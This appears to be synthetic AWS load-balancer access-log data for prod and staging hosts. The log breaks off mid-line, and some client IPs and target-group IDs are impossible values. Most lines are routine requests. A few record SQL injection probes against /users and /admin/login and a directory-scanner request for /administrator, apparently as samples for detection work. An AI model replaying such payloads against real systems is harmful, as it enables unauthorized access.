"-" "-" "67.51.224.102:443" "200" "-" "-" +https 2024-11-01T00:49:43.474566Z prod-api-alb 158.230.7.1:63093 10.0.25.134:443 0.042338 0.430841 0.089040 200 200 905 2637 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c337-dafa942f887742dab54c33c3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:49:43.474566Z "forward" "-" "-" "10.0.25.134:443" "200" "-" "-" +https 2024-11-01T00:49:44.641118Z prod-web-alb 151.19.236.172:14167 10.0.243.244:443 0.012103 0.433669 0.053930 200 200 435 7428 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c338-530946548b2f4893a7045511" "prod-web-alb.example.com" "-" 4 2024-11-01T00:49:44.641118Z "forward" "-" "-" "10.0.243.244:443" "200" "-" "-" +https 2024-11-01T00:49:45.133160Z prod-api-alb 140.21.104.95:46077 10.0.204.166:443 0.044773 0.325937 0.034883 200 200 860 7439 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c339-b1e407aad6804ec1aacd4da7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:49:45.133160Z "forward" "-" "-" "10.0.204.166:443" "200" "-" "-" +http 2024-11-01T00:49:46.694368Z staging-alb 73.199.208.54:36829 107.222.53.218:8080 0.035603 0.013241 0.111770 301 301 740 305 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c33a-378df36e661d467b943e0aeb" "staging-alb.example.com" "-" 7 2024-11-01T00:49:46.694368Z "forward" "-" "-" "107.222.53.218:8080" "301" "-" "-" +https 2024-11-01T00:49:47.224005Z staging-alb 255.45.60.199:27304 171.28.210.197:8080 0.025377 0.354039 0.121548 404 404 678 10959 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c33b-33633a9323e244098c412fc8" "staging-alb.example.com" "-" 6 2024-11-01T00:49:47.224005Z "forward" "-" "-" "171.28.210.197:8080" "404" "-" "-" +https 2024-11-01T00:49:48.985747Z prod-web-alb 225.43.40.80:53771 10.0.194.42:443 0.041231 0.230741 0.069534 200 200 55 2656 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c33c-abea2cbb74a84f7daecffc6c" "prod-web-alb.example.com" "-" 8 2024-11-01T00:49:48.985747Z "forward" "-" "-" "10.0.194.42:443" "200" "-" "-" +https 2024-11-01T00:49:50.491837Z prod-api-alb 210.53.251.172:61269 10.0.170.157:443 0.081606 0.029801 0.071264 404 404 751 13754 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c33e-3da878dfcc3042a79e995f72" "prod-api-alb.example.com" "-" 7 2024-11-01T00:49:50.491837Z "forward" "-" "-" "10.0.170.157:443" "404" "-" "-" +https 2024-11-01T00:49:50.676699Z prod-web-alb 82.192.17.37:26573 10.0.72.222:443 0.032531 0.000480 0.002172 200 200 281 11030 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c33e-c615ccc1e1cd4b119f97b2a8" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:50.676699Z "forward" "-" "-" "10.0.72.222:443" "200" "-" "-" +https 2024-11-01T00:49:51.058341Z prod-web-alb 168.202.72.208:64337 10.0.234.25:443 0.032481 0.323417 0.093771 301 301 104 10501 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c33f-dd12c6c9db904a6c966e5074" "prod-web-alb.example.com" "-" 8 2024-11-01T00:49:51.058341Z "forward" "-" "-" "10.0.234.25:443" "301" "-" "-" +https 2024-11-01T00:49:52.166574Z prod-api-alb 156.217.41.243:32051 10.0.152.208:443 0.065130 0.217131 0.056155 200 200 130 13924 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c340-4a559950848a45a6bd0e5841" "prod-api-alb.example.com" "-" 6 2024-11-01T00:49:52.166574Z "forward" "-" "-" "10.0.152.208:443" "200" "-" "-" +https 2024-11-01T00:49:53.488519Z prod-web-alb 254.126.86.107:31142 10.0.166.19:443 0.078659 0.022588 0.024190 200 200 313 7249 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c341-168288ac79a9447dbd781a1b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:53.488519Z "forward" "-" "-" "10.0.166.19:443" "200" "-" "-" +https 2024-11-01T00:49:54.457620Z staging-alb 230.26.205.208:54861 141.198.95.188:443 0.001802 0.698243 0.099682 200 200 791 2961 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c342-9b48cfa0c27c462f949810c6" "staging-alb.example.com" "-" 7 2024-11-01T00:49:54.457620Z "forward" "-" "-" "141.198.95.188:443" "200" "-" "-" +https 2024-11-01T00:49:55.507445Z prod-api-alb 17.190.144.125:58706 10.0.242.99:443 0.095197 0.141951 0.023485 200 200 216 4282 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c343-dc421664462a40928e7db85e" "prod-api-alb.example.com" "-" 7 2024-11-01T00:49:55.507445Z "forward" "-" "-" "10.0.242.99:443" "200" "-" "-" +https 2024-11-01T00:49:55.879587Z prod-web-alb 132.130.206.149:33117 10.0.175.232:443 0.025511 0.016877 0.036929 302 302 295 1641 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c343-04442b531ea541e599f16249" "prod-web-alb.example.com" "-" 1 2024-11-01T00:49:55.879587Z "forward" "-" "-" "10.0.175.232:443" "302" "-" "-" +http 2024-11-01T00:49:56.535735Z staging-alb 31.195.5.69:57325 247.127.105.175:80 0.074030 0.097243 0.129152 301 301 656 5879 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c344-f940025c94134fa8bce7fc59" "staging-alb.example.com" "-" 2 2024-11-01T00:49:56.535735Z "forward" "-" "-" "247.127.105.175:80" "301" "-" "-" +http 2024-11-01T00:49:56.893365Z staging-alb 181.82.169.255:25538 123.189.240.185:443 0.119554 0.617529 0.043220 404 404 537 9919 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c344-bb2b8aa94ca64d80b01925ed" "staging-alb.example.com" "-" 5 2024-11-01T00:49:56.893365Z "forward" "-" "-" "123.189.240.185:443" "404" "-" "-" +https 2024-11-01T00:49:58.754359Z prod-api-alb 240.61.18.223:33437 10.0.23.252:443 0.024476 0.022198 0.091821 302 302 429 14340 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c346-49aeeb2109ec4549919a8804" "prod-api-alb.example.com" "-" 0 2024-11-01T00:49:58.754359Z "forward" "-" "-" "10.0.23.252:443" "302" "-" "-" +https 2024-11-01T00:49:59.712863Z prod-web-alb 205.108.211.112:12569 10.0.123.30:443 0.085046 0.015161 0.014439 200 200 111 9183 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c347-37bccdb6ee754043a9df1878" "prod-web-alb.example.com" "-" 9 2024-11-01T00:49:59.712863Z "forward" "-" "-" "10.0.123.30:443" "200" "-" "-" +https 2024-11-01T00:50:00.390151Z prod-api-alb 194.164.57.146:21986 10.0.101.224:443 0.057444 0.067128 0.091370 302 302 660 2557 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c348-f85ba89957d1428c9c89f304" "prod-api-alb.example.com" "-" 7 2024-11-01T00:50:00.390151Z "forward" "-" "-" "10.0.101.224:443" "302" "-" "-" +http 2024-11-01T00:50:01.810565Z staging-alb 207.40.162.4:52884 136.249.19.71:80 0.078978 0.565143 0.000418 200 200 218 3672 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c349-c6da9b77eaf1414ab4693b20" "staging-alb.example.com" "-" 10 2024-11-01T00:50:01.810565Z "forward" "-" "-" "136.249.19.71:80" "200" "-" "-" +http 2024-11-01T00:50:02.893712Z staging-alb 185.181.21.23:62523 18.128.19.8:8080 0.011666 0.068906 0.144839 403 403 264 6071 "POST /users?id=1 OR 1=1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c34a-58e79838b2a04419bbb49f39" "-" "-" 6 2024-11-01T00:50:02.893712Z "forward" "-" "-" "18.128.19.8:8080" "403" "-" "-" +https 2024-11-01T00:50:04.563286Z prod-web-alb 192.243.118.199:58565 10.0.240.222:443 0.027468 0.101036 0.048154 404 404 7 8953 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c34c-b87d83a67ed0457eaf147da1" "prod-web-alb.example.com" "-" 6 2024-11-01T00:50:04.563286Z "forward" "-" "-" "10.0.240.222:443" "404" "-" "-" +https 2024-11-01T00:50:05.193440Z prod-api-alb 185.181.76.214:45007 10.0.84.138:443 0.008059 0.498016 0.029198 500 500 658 12336 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c34d-610709c9661340fdb8af15db" "-" "-" 2 2024-11-01T00:50:05.193440Z "forward" "-" "-" "10.0.84.138:443" "500" "-" "-" +https 2024-11-01T00:50:06.103006Z prod-web-alb 209.12.96.6:40023 10.0.36.98:443 0.087371 0.310226 0.024506 200 200 780 12862 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c34e-672b993aa98941bf98f4cd17" "prod-web-alb.example.com" "-" 10 2024-11-01T00:50:06.103006Z "forward" "-" "-" "10.0.36.98:443" "200" "-" "-" +https 2024-11-01T00:50:07.606261Z staging-alb 248.146.9.231:54937 40.176.143.59:8080 0.080220 0.135157 0.087021 200 200 601 4558 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c34f-737cadf1c087406a859f4496" "staging-alb.example.com" "-" 5 2024-11-01T00:50:07.606261Z "forward" "-" "-" "40.176.143.59:8080" "200" "-" "-" +https 2024-11-01T00:50:09.116607Z prod-api-alb 111.246.126.161:57468 10.0.20.56:443 0.032433 0.084947 0.023043 404 404 102 1700 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c351-cc24804770b64f4b89a52c77" "-" "-" 2 2024-11-01T00:50:09.116607Z "forward" "-" "-" "10.0.20.56:443" "404" "-" "-" +https 2024-11-01T00:50:10.101087Z staging-alb 49.79.222.60:30054 34.235.133.81:8080 0.112752 0.316098 0.017636 301 301 886 13972 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c352-a12ff514cc7543e5bb1d92eb" "staging-alb.example.com" "-" 8 2024-11-01T00:50:10.101087Z "forward" "-" "-" "34.235.133.81:8080" "301" "-" "-" +https 2024-11-01T00:50:10.782083Z prod-api-alb 14.83.248.118:24923 10.0.240.19:443 0.064043 0.184679 0.076902 302 302 335 1912 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c352-8c8bbf111b1d4b27b2b71f01" "prod-api-alb.example.com" "-" 5 2024-11-01T00:50:10.782083Z "forward" "-" "-" "10.0.240.19:443" "302" "-" "-" +https 2024-11-01T00:50:11.489614Z staging-alb 156.93.233.243:40111 9.33.194.246:443 0.007079 0.019881 0.127874 404 404 49 1728 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c353-9cfca32674af4023837bb618" "staging-alb.example.com" "-" 9 2024-11-01T00:50:11.489614Z "forward" "-" "-" "9.33.194.246:443" "404" "-" "-" +https 2024-11-01T00:50:12.810578Z prod-api-alb 32.136.196.228:22706 10.0.143.15:443 0.049909 0.027233 0.092030 200 200 875 567 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c354-bb7b892c450e4260902aaec9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:50:12.810578Z "forward" "-" "-" "10.0.143.15:443" "200" "-" "-" +https 2024-11-01T00:50:13.995519Z prod-web-alb 60.202.255.206:54419 10.0.143.128:443 0.026536 0.202858 0.042028 302 302 537 6149 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c355-ef10431bda0049fc99f306f0" "prod-web-alb.example.com" "-" 3 2024-11-01T00:50:13.995519Z "forward" "-" "-" "10.0.143.128:443" "302" "-" "-" +https 2024-11-01T00:50:14.328516Z prod-api-alb 76.217.100.90:44608 10.0.240.187:443 0.038383 0.387591 0.077057 200 200 302 8479 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c356-289f7a479d7541e6ba8b0ced" "prod-api-alb.example.com" "-" 4 2024-11-01T00:50:14.328516Z "forward" "-" "-" "10.0.240.187:443" "200" "-" "-" +https 2024-11-01T00:50:15.039301Z staging-alb 44.34.127.249:41499 21.150.247.197:80 0.147121 0.731551 0.145921 200 200 756 11499 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c357-cf458f5ec7a9409d972d2a1a" "staging-alb.example.com" "-" 10 2024-11-01T00:50:15.039301Z "forward" "-" "-" "21.150.247.197:80" "200" "-" "-" +https 2024-11-01T00:50:15.664298Z prod-api-alb 212.159.196.35:18072 10.0.80.119:443 0.036149 0.217636 0.094766 200 200 501 745 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c357-04fdf7b014664a8db09ee58d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:50:15.664298Z "forward" "-" "-" "10.0.80.119:443" "200" "-" "-" +https 2024-11-01T00:50:16.563831Z prod-api-alb 178.1.175.34:28817 10.0.85.12:443 0.049005 0.095739 0.054781 200 200 15 5714 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c358-7ae1e17691604dd88bb5a666" "-" "-" 8 2024-11-01T00:50:16.563831Z "forward" "-" "-" "10.0.85.12:443" "200" "-" "-" +https 2024-11-01T00:50:18.325426Z prod-api-alb 122.60.215.214:24872 10.0.251.43:443 0.062844 0.154582 0.055671 301 301 873 9439 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c35a-b8c590c11eb24acfb9412f7e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:50:18.325426Z "forward" "-" "-" "10.0.251.43:443" "301" "-" "-" +https 2024-11-01T00:50:19.017483Z staging-alb 120.124.145.192:58573 49.181.30.77:443 0.111385 0.239374 0.053800 200 200 891 261 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c35b-916c8964f3424f138e96d1d4" "staging-alb.example.com" "-" 0 2024-11-01T00:50:19.017483Z "forward" "-" "-" "49.181.30.77:443" "200" "-" "-" +https 2024-11-01T00:50:20.452280Z staging-alb 122.247.13.62:60852 202.151.34.182:8080 0.086708 0.654014 0.018950 200 200 994 12476 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c35c-d1a6e099ef60467eadc4d6db" "staging-alb.example.com" "-" 8 2024-11-01T00:50:20.452280Z "forward" "-" "-" "202.151.34.182:8080" "200" "-" "-" +http 2024-11-01T00:50:21.568396Z staging-alb 138.54.227.124:23934 149.243.147.228:443 0.134023 0.149233 0.036189 301 301 657 4178 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c35d-8ba8a09e85174c0a88999bb1" "staging-alb.example.com" "-" 2 2024-11-01T00:50:21.568396Z "forward" "-" "-" "149.243.147.228:443" "301" "-" "-" +https 2024-11-01T00:50:22.746360Z prod-web-alb 45.155.205.102:15552 10.0.101.150:443 0.094130 0.285758 0.051031 403 403 683 3428 "GET /administrator HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c35e-ff56714232af48798e7f71fe" "-" "-" 6 2024-11-01T00:50:22.746360Z "forward" "-" "-" "10.0.101.150:443" "403" "-" "-" +https 2024-11-01T00:50:24.307872Z prod-web-alb 8.145.5.79:44531 10.0.181.219:443 0.023142 0.166669 0.075052 200 200 495 1924 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c360-6c75131ea39d40de961aa170" "prod-web-alb.example.com" "-" 0 2024-11-01T00:50:24.307872Z "forward" "-" "-" "10.0.181.219:443" "200" "-" "-" +https 2024-11-01T00:50:25.597616Z prod-api-alb 245.44.58.57:55418 10.0.33.7:443 0.082587 0.280975 0.062174 200 200 238 10904 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c361-0e24fd2bc8934b80a01488e0" "prod-api-alb.example.com" "-" 0 2024-11-01T00:50:25.597616Z "forward" "-" "-" "10.0.33.7:443" "200" "-" "-" +https 2024-11-01T00:50:26.473517Z prod-api-alb 205.166.169.78:60036 10.0.249.11:443 0.086696 0.020340 0.025687 301 301 939 5054 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c362-f238020a3ed449639034f370" "prod-api-alb.example.com" "-" 4 2024-11-01T00:50:26.473517Z "forward" "-" "-" "10.0.249.11:443" "301" "-" "-" +https 2024-11-01T00:50:26.578099Z prod-web-alb 72.95.115.208:11649 10.0.109.119:443 0.025741 0.261723 0.033607 200 200 932 13268 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c362-936ac026964a4d028fb88d1c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:50:26.578099Z "forward" "-" "-" "10.0.109.119:443" "200" "-" "-" +https 2024-11-01T00:50:26.994436Z prod-web-alb 164.242.110.100:13891 10.0.118.205:443 0.058924 0.007385 0.020379 200 200 509 12010 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c362-12f704878c86487d8023f50f" "prod-web-alb.example.com" "-" 8 2024-11-01T00:50:26.994436Z "forward" "-" "-" "10.0.118.205:443" "200" "-" "-" +https 2024-11-01T00:50:28.000956Z prod-api-alb 96.60.105.157:17843 10.0.41.23:443 0.090765 0.456030 0.063034 200 200 15 6109 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c364-7e121f45b624403baa2c1a41" "prod-api-alb.example.com" "-" 7 2024-11-01T00:50:28.000956Z "forward" "-" "-" "10.0.41.23:443" "200" "-" "-" +http 2024-11-01T00:50:29.579478Z staging-alb 200.128.183.96:27483 24.73.95.93:80 0.036831 0.203611 0.038810 200 200 89 6022 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c365-fe1ca174c45e44a6a30a6ec3" "staging-alb.example.com" "-" 5 2024-11-01T00:50:29.579478Z "forward" "-" "-" "24.73.95.93:80" "200" "-" "-" +https 2024-11-01T00:50:30.109945Z staging-alb 183.201.2.22:44557 177.237.99.145:443 0.078499 0.143346 0.054237 302 302 445 10699 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 